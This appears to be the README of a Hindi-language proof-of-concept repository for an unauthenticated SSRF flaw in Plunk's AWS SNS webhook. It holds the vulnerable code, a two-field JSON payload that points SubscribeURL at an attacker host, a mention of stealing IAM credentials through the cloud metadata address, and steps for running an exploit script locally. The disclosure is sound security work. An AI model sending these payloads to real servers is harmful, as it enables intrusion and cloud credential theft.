
प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट Plunk के SNS वेबहुक में SSRF भेद्यता के लिए, जो अमान्य SubscribeURL के माध्यम से बिना प्रमाणीकरण के सर्वर-साइड रिक्वेस्ट फोर्जरी प्रदर्शित करता है।
useplunk/plunk में अमान्य AWS SNS SubscriptionConfirmation के माध्यम से SSRF
Plunk API एंडपॉइंट POST /webhooks/sns AWS SNS क्रिप्टोग्राफिक हस्ताक्षर को सत्यापित किए बिना आक्रमणकारी द्वारा आपूर्ति किए गए SubscribeURL को प्राप्त करता है। एक अनधिकृत आक्रमणकारी सर्वर को मनमाने आउटबाउंड HTTP अनुरोध (SSRF) करने के लिए मजबूर कर सकता है।
| गंभीरता | क्रिटिकल — CVSS 9.3 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N) |
| CWE | CWE-918: सर्वर-साइड रिक्वेस्ट फोर्जरी |
| प्रभावित फ़ाइल | apps/api/src/controllers/Webhooks.ts |
| प्रमाणीकरण आवश्यक | कोई नहीं |
// apps/api/src/controllers/Webhooks.ts
if (req.body.Type === 'SubscriptionConfirmation') {
const confirmResponse = await fetch(req.body.SubscribeURL); // SSRF — कोई हस्ताक्षर सत्यापन नहीं
if (confirmResponse.ok) {
return res.status(200).json({ success: true, message: 'Subscription confirmed' });
}
}
न्यूनतम पेलोड केवल दो फ़ील्ड है:
{
"Type": "SubscriptionConfirmation",
"SubscribeURL": "http://attacker.example.com/callback"
}
http://169.254.169.254/latest/meta-data/iam/security-credentials/ के माध्यम से IAM क्रेडेंशियल चुरानाPlunk परीक्षण वातावरण प्रारंभ करें:
docker compose up -d
SSRF कॉलबैक लिसनर प्रारंभ करें:
python3 listener.py
एक्सप्लॉइट चलाएँ:
chmod +x exploit.sh
./exploit.sh
निरीक्षण करें listener.py आउटपुट में कॉलबैक हिट, यह पुष्टि करता है कि सर्वर ने आक्रमणकारी-नियंत्रित URL प्राप्त किया।
| फ़ाइल | विवरण |
|---|---|
exploit.sh | एंड-टू-एंड एक्सप्लॉइट स्क्रिप्ट — कमजोर एंडपॉइंट पर नकली SNS पेलोड भेजता है |
listener.py | SSRF कॉलबैक लिसनर — Plunk सर्वर से आने वाले अनुरोधों को कैप्चर और लॉग करता है |
docker-compose.yml | स्थानीय पुनरुत्पादन के लिए न्यूनतम Docker Compose वातावरण (Postgres, Redis, Plunk) |